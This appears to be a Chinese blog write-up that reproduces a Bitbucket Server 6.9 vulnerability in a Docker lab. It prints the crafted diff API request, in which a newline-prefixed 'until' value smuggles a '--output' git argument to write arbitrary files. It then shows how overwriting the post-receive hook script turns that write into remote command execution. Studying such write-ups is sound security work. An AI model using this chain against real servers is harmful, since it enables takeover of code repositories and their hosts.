环境准备
由于bitbucket免费时间有限,搭建完后尽快服用,时间久了会导致应用过期。
1、安装docker和docker-compose
2、给docker创建一个网络,使得docker分配ip的时候可控,防止与其他东西冲突
docker network create --subnet 172.18.0.1/16 myNetWork
3、将如下配置信息保存为docker-compose.yml:
version: '2'
services:
bitbucket69:
image: atlassian/bitbucket-server:6.9.0
container_name: bitbucket69
networks:
- myNetWork
ports:
- 7990:7990
- 7999:7999
volumes:
- /Users/rym/all/temp/dockerShare:/dockerShare
tty: true
networks:
myNetWork:
external: true
4、在docker-compose.yml同目录下如用如下命令启动bitbucket,我这里使用的版本是6.9,在漏洞射程之内:
docker-compose up -d # 速度慢,配国内源
5、在下面界面中选择创建账号
6、创建完账号后,它会送你一个license,复制到下面框中:
利用思路
创建栗子项目,方便后面调试下面是我的操作
创建完后,刷新项目
然后随便编辑一些东西,使用git diff功能才有效果,这里的需要加上需要执行的命令,前面两个竖线是为了后面绕过bash执行报错问题。
触发位置在com.atlassian.stash.internal.rest.content.DiffResource类,部分代码如下:
@GET
@Path("{path:.*}")
public Response streamDiff(@Context Repository repository, @PathParam("path") String path, @QueryParam("contextLines") @DefaultValue("-1") int contextLines, @QueryParam("since") String sinceId, @QueryParam("srcPath") String srcPath, @QueryParam("until") String untilId, @QueryParam("whitespace") String whitespace) {
if (StringUtils.isBlank(path)) {
throw new BadRequestException(this.i18nService.getMessage("bitbucket.rest.diff.path.required", new Object[0]));
} else if (StringUtils.isBlank(untilId)) {
throw new BadRequestException(this.i18nService.getMessage("bitbucket.rest.diff.until.required", new Object[0]));
} else {
final Builder builder = (new Builder(repository, untilId)).contextLines(contextLines).path(path).sinceId(sinceId).whitespace(DiffWhitespace.fromString(whitespace)).withComments(false);
if (StringUtils.isNotBlank(srcPath)) {
builder.path(srcPath);
}
return ResponseFactory.ok(new JsonStreamingOutput() {
public void write(StatefulJsonWriter writer) throws IOException, WebApplicationException {
DiffResource.this.commitService.streamDiff(builder.build(), new JsonDiffContentCallback(writer, RestComment.REST_TRANSFORM));
}
}, CachePolicies.getCacheControlForRange(untilId, sinceId)).build();
}
}
构造payload如下:
GET /rest/api/latest/projects/HEL/repos/hello/diff/test.txt?contextLines=10&since=&srcPath=&until=%0a--output=/tmp/test&whitespace= HTTP/1.1
Host: 127.0.0.1:7990
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-AUSERNAME: 5wimming
X-AUSERID: 1
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:7990/projects/WIM/repos/test/diff/test.txt?until=74318aefc858a9619adf5328162f5931fd297d31
Cookie: BITBUCKETSESSIONID=FB3CA9F77D810B078183F6FBEC4CD25D; _atl_bitbucket_remember_me=ZWY1ZDYxODY1OWEyZDE4MGJkZDE0ZjBiYmM5NmJiNGFmYmZiYjUzYzpmOTZiNDJiMWRkYWE3ZmIyZDkxMjg2NGVkODcxMDQxOTc4MmM2NDlh
其中,%0a是为了绕过如下限制:
@Nonnull
public InternalGitScmCommandBuilder commitish(@Nonnull String value) {
if (((String)Preconditions.checkNotNull(value, "commitish")).startsWith("-")) {
throw new InvalidRefNameException(this.i18nService.createKeyedMessage("bitbucket.git.commandbuilder.invalidcommitish", new Object[]{value}), value);
} else {
this.argument(value);
return this.self();
}
}
然后打一下:
通过如下命令进入docker
docker exec -it bitbucket69 /bin/bash
然后进入/tmp目录,发现创建了test文件,并且有相应的内容。看到每行字符串前面都会有+、-等符号,所以后面用bash执行该文件的时候,如果需要执行的命令前面没有加上双竖线,则会报错。
前面已经可以做到任意文件写了,那怎么进一步做到命令执行呢?
查看bitbuchket官网,发现它有一个hooks的功能:
Hooks let you to extend what Bitbucket does every time a repository changes, allow you to customize your team’s workflow, and enable you to integrate with other systems.
You can configure a hook to run automatically every time a particular event occurs in a repository, for instance when code is pushed or a pull request is merged.
Bitbucket Server supports two types of hooks, pre-receive and post-receive hooks. Hooks are installed by system administrators and can be enabled for all repositories in a project, or for an individual repository.
大概意思就是,当某个用户操作触发某个动作的时候,可以在后台执行相应bash文件。我们选择其中一个hooks:
当使用git进行提交的时候可以触发该脚本,我的触发位置为
/var/atlassian/application-data/bitbucket/shared/data/repositories/1/hooks/post-receive.d/20_bitbucket_callback
其中,中间有个数字1为id值,可以通过如下请求获取:
然后使用上面提供的任意文件写payload覆盖20_bitbucket_callback脚本:
最后,随便写点东西,用一开始提到的git命令提交到git服务器,如果冲突了,可以使用下面命令强制提交:
git push -u origin +master
提交后,发现命令执行了: